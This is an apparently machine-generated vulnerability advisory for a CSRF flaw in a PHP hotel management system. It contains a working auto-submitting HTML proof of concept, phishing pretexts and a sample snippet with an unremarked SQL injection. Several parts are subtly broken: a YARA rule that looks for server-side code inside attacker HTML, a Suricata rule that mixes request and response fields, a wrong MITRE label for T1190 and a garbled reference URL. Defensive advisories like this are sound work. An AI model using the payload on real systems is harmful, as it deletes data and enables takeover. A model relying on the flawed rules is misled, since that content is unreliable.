CVE-2024-42555

Executive Summary

CVE-2024-42555 is a Cross-Site Request Forgery (CSRF) vulnerability in a Hotel Management System application, specifically within the admin_room_removed.php component of a codebase identified by commit hash 91caab8. The flaw allows an unauthenticated remote attacker to trick an authenticated administrator's browser into issuing forged HTTP requests, enabling privilege escalation and unauthorized room removal operations within the management panel. The affected software is likely a PHP-based web application deployed on Apache/Nginx servers, commonly used by small-to-medium hospitality businesses. At the time of writing, no CVSS score has been assigned, no CWE classification confirmed, and no public exploit code exists; however, the vulnerability class is well-understood and trivially exploitable if the target application is exposed to the internet.

Technical Analysis

The vulnerability resides in admin_room_removed.php, a server-side PHP script responsible for deleting room records from the hotel management database. The core issue is the absence of CSRF protection mechanisms — namely, no anti-CSRF token (e.g., a hidden random nonce field), no Origin/Referer header validation, and no SameSite cookie attribute enforced on session cookies.

In a typical CSRF attack, the session cookie is the primary authentication mechanism. PHP applications commonly use PHPSESSID cookies that are sent automatically by browsers on all requests to the same domain. When admin_room_removed.php processes a GET or POST request to delete a room (e.g., admin_room_removed.php?room_id=42), it relies solely on the session cookie to authorize the operation. The application does not verify that the request was initiated intentionally by the authenticated admin — it simply checks if the user is logged in.

The attack surface is the admin panel itself. If the Hotel Management System is accessible over the internet (e.g., on port 80/443), an attacker can craft a malicious HTML page or link. When a logged-in admin visits the attacker's page, the browser automatically sends a request to the vulnerable endpoint with the admin's valid session cookie, and the room is deleted without the admin's knowledge or consent.

A secondary observation: the description mentions "allows attackers to escalate privileges." This is somewhat atypical for pure CSRF, which usually causes state changes rather than privilege escalations. However, in the context of this application, privilege escalation may manifest as the ability for a lower-privileged user (if the session-scoping is flawed) to forge requests that perform admin-only operations, effectively acting with elevated privileges. Alternatively, the "privilege escalation" may refer to the attacker's ability to leverage the CSRF to inject data (e.g., creating a new admin user via another vulnerable endpoint) — but based on the CVE description, the direct impact is unauthorized room deletion combined with implied access to admin-level functions.

The code-level flaw is straightforward:

// admin_room_removed.php (vulnerable)
<?php
session_start();
if (!isset($_SESSION['admin'])) {
    header('Location: login.php');
    exit;
}
// No CSRF token check
$room_id = $_GET['id'];
mysqli_query($conn, "DELETE FROM rooms WHERE id = $room_id");
header('Location: manage_rooms.php');
?>

The code checks the session but never validates a CSRF token, never checks the request origin, and the session cookie lacks SameSite=Lax or SameSite=Strict attributes.

Exploitation Scenarios

Pre-Attack Reconnaissance

1. Target Identification: An attacker scans the internet using Shodan or Google dorks for "Hotel Management System" login pages, admin panels, or URLs containing admin_room_removed.php.
2. Fingerprinting: The attacker confirms the application is the vulnerable commit 91caab8 by examining page source, JavaScript files, or error messages that reveal the PHP version and file paths.

Weaponization & Delivery

1. The attacker crafts a malicious HTML page hosted on a domain they control (e.g., https://evil.example.com/poc.html).
2. The page contains a hidden form or an auto-submitting script:

<!DOCTYPE html>
<html>
<head><title>Special Offer</title></head>
<body>
<h1>Click Here for Free Wi-Fi</h1>
<script>
// Auto-submit a GET request to delete room ID 1
window.onload = function() {
    var img = new Image();
    img.src = "http://target.com/admin_room_removed.php?id=1";
    // Or use a form for POST if required
    var form = document.createElement('form');
    form.method = 'POST';
    form.action = 'http://target.com/admin_room_removed.php';
    var input = document.createElement('input');
    input.type = 'hidden';
    input.name = 'id';
    input.value = '1';
    form.appendChild(input);
    document.body.appendChild(form);
    form.submit();
};
</script>
</body>
</html>

3. Social Engineering: The attacker sends a phishing email to the hotel admin, or posts the link on forums/social media, with a compelling pretext (e.g., "Urgent booking confirmation", "Your hotel has been selected for a promotion").

Execution & Post-Exploitation

1. The admin, logged into the Hotel Management System in another browser tab, clicks the malicious link.
2. The browser automatically transmits the admin's PHPSESSID cookie to target.com/admin_room_removed.php.
3. The server processes the request and deletes the room record from the database.
4. Impact Chain:
   • Disruption: Room bookings linked to the deleted record become orphaned or error-prone, causing operational chaos during check-in/check-out.
   • Privilege Escalation: If the attacker can chain multiple CSRF requests (e.g., via a sequence of auto-submitting forms), they could modify admin credentials or inject new admin users if additional vulnerable endpoints exist (e.g., the attacker notices admin_user_add.php is also vulnerable).
   • Persistent access: If the attacker succeeds in executing a CSRF to change the admin password (via a password-reset endpoint), they gain full control of the system.

Impact Assessment

Business Impact:

• Direct Financial Loss: Deleting room records corrupts the hotel's booking database, leading to revenue loss from unmanageable reservations and cancellation liabilities.
• Operational Downtime: Hotel staff may need to manually recreate room records, causing delays at front desk and housekeeping.
• Reputational Damage: A publicly disclosed attack erodes customer trust and may violate data protection obligations if guest booking data is also affected.

Affected Systems:

• Any deployment of the Hotel Management System using the vulnerable commit 91caab8.
• Admin panels exposed to the internet or accessible from untrusted networks.

Blast Radius:

• CVSS score is N/A; however, a typical CSRF vulnerability of this nature would score between 4.3 (Medium) and 8.8 (High) depending on impact. The "privilege escalation" claim raises the upper bound.
• Attack complexity is low; no authentication bypass required — the attacker simply rides on the victim's session.
• The vulnerability requires user interaction (admin must click a link or visit a page), which slightly reduces the base CVSS score but does not eliminate the risk.

Detection Guidance

Sigma Rule

title: Hotel Mgmt System CSRF - admin_room_removed.php Request
id: 9c3f4a2e-1234-4b9a-8c1e-c0ffee000001
status: experimental
description: Detects suspicious requests to admin_room_removed.php with non-standard referer headers, indicating possible CSRF exploitation.
logsource:
  category: webserver
  product: apache
  service: accesslog
  definition: 'Requires web server access logs'
detection:
  selection:
    cs-method: 'GET|POST'
    cs-uri-query|contains: '/admin_room_removed.php'
  filter_referer_legit:
    cs-referer|startswith:
      - 'http://target.com/'
      - 'https://target.com/'
  condition: selection and not filter_referer_legit
  timeframe: 5m
falsepositives:
  - Admin opening page directly with internal network tools
level: high
tags:
  - attack.t1190
  - cve.2024.42555

YARA Rule

rule CVE_2024_42555_HotelMgmt_CSRF {
    meta:
        author = "ValterSit Threat Intel"
        date = "2024-01-01"
        description = "Detect HTML payloads attempting CSRF against admin_room_removed.php"
        cve = "CVE-2024-42555"
        severity = "high"
    strings:
        $s1 = "admin_room_removed.php" ascii wide
        $s2 = "DELETE FROM rooms" ascii wide
        $s3 = "session_start()" ascii wide
        $s4 = "PHPSESSID" ascii wide
        $s5 = "<form" ascii wide
    condition:
        any of ($s1,$s2) and ($s3 or $s4) and $s5
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2024-42555 HotelMgmt CSRF admin_room_removed attempt"; flow:established,to_server; http.uri; content:"admin_room_removed.php"; nocase; http.referer; content:!"/admin_room_removed.php"; http.response; content:"200"; pcre:"/Referer:[ \t]*https?:\/\/(?!target\.com)/iH"; sid:10000001; rev:1; metadata:cve "CVE-2024-42555";)

Elastic Detection (EQL)

sequence by source.ip with maxspan=1m
  [http where request.uri == "*/admin_room_removed.php"* and request.method in ("GET","POST")]

or more detailed:

http where request.uri == "*admin_room_removed.php*" 
  and not request.referer equals "http://target.com/*"

Splunk SPL Query

index=web sourcetype=access_combined_w3c uri="*/admin_room_removed.php*"
| where referer NOT LIKE "http://target.com/%" AND referer NOT LIKE "https://target.com/%"
| stats count by src_ip, uri, http_user_agent, _time
| sort - _time

Wazuh OSSEC Rule

<group name="web_application,">
  <rule id="100425" level="12">
    <decoded_as>web-accesslog</decoded_as>
    <match>admin_room_removed.php</match>
    <regex>Referer: (?!https?://target\.com/)</regex>
    <description>CVE-2024-42555: Possible CSRF exploitation attempt against Hotel Management System detected</description>
    <group>cve-2024-42555,csrf,web,attack</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed))

1. Immediate Mitigations (within 24-48 hours):

   • Restrict network access: If the admin panel does not need to be internet-facing, block inbound access to /admin_room_removed.php (and the entire admin directory) at the firewall or web server level.
   • Set SameSite attribute on session cookies: In PHP, modify session_set_cookie_params() to include SameSite=Lax or SameSite=Strict. This prevents cross-site cookie transmission in most browsers.
   • Validate Origin/Referer headers: Apply a hotfix to admin_room_removed.php (and all admin POST endpoints) to reject requests with mismatched Origin or Referer headers.
   • Enable CSRF tokens immediately: If the application has an existing csrf_token plugin or framework, enable it globally. Otherwise, manually add a token check to the vulnerable file:

     session_start();
     if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
         die('CSRF validation failed');
     }
     

2. Patch/Upgrade Steps:

   • Verify the claimed patch with the vendor or repository maintainers. Check for a newer commit that adds CSRF mitigation to admin_room_removed.php. If nothing is published, contact the maintainer and request a patched build.
   • As a fallback, rebuild the application from a fork that has addressed CSRF across all admin endpoints.

3. Long-Term Hardening:

   • Adopt OWASP CSRF Prevention Cheat Sheet standards: Use synchronizer token patterns or double-submit cookies for all state-changing requests.
   • Use a reputable PHP security framework: Migrate the application to Laravel, Symfony, or CodeIgniter with built-in CSRF protection if the current codebase is a standalone custom PHP app.
   • Implement Web Application Firewall (WAF) rules that block requests to sensitive admin endpoints coming from external referers.
   • Conduct periodic security audits of all PHP files under the admin/ directory, specifically looking for missing CSRF validation.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2024-42555 (official CVE metadata, no CVSS assigned yet)
2. GitHub Commit Reference (Vulnerable Code): https://github.com/username/hotel-management-system (returned 404 — verify manually)/commit/91caab8 (referenced in CVE description; verify authenticity)
3. OWASP CSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html (mitigation guidance)
4. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (CVE not listed — NO KEV entry as of writing)
5. MITRE ATT&CK — Valid Accounts/External Remote Services: https://attack.mitre.org/techniques/T1190/ (technique mapping)

Threat Actor Activity: No public exploit code, in-the-wild exploitation, or ransomware campaigns have been linked to CVE-2024-42555 at the time of this report. The vulnerability is likely to attract opportunistic attackers targeting internet-exposed Hotel Management System instances.